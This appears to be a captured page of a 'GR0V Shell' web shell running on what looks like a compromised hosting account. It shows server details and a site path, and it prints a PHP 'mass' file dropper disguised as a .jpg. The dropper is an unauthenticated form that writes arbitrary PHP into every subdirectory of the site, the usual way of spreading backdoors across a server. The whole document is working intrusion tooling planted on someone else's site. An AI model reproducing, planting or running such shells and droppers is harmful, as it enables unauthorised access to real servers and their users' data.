? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/files/
File Upload :
Current File : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/files/mass.jpg

<?php
// ⚠️ Use this only on your own server for testing purposes

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $baseDir = rtrim($_POST['directory'], '/');
    $fileName = basename($_POST['filename']); // prevent path injection
    $fileContent = $_POST['code'];

    if (!is_dir($baseDir)) {
        die("Invalid directory selected.");
    }

    // Recursive function to create file in all subdirectories
    function createFileRecursively($dir, $fileName, $fileContent) {
        $newFile = $dir . DIRECTORY_SEPARATOR . $fileName;
        file_put_contents($newFile, $fileContent);

        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) {
                createFileRecursively($path, $fileName, $fileContent);
            }
        }
    }

    createFileRecursively($baseDir, $fileName, $fileContent);

    echo "✅ File '$fileName' created in all subdirectories of $baseDir";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Recursive File Creator</title>
</head>
<body>
    <h2>Create File in All Subdirectories</h2>
    <form method="post">
        <label>Base Directory:</label><br>
        <input type="text" name="directory" value="<?php echo __DIR__; ?>" size="60"><br><br>

        <label>File Name:</label><br>
        <input type="text" name="filename" value="test.php"><br><br>

        <label>File Content:</label><br>
        <textarea name="code" rows="8" cols="60"><?php echo "&lt;?php echo 'Hello from test.php'; ?&gt;"; ?></textarea><br><br>

        <button type="submit">Create Files</button>
    </form>
</body>
</html>

T1KUS90T
  root-grov@89.117.188.241:~$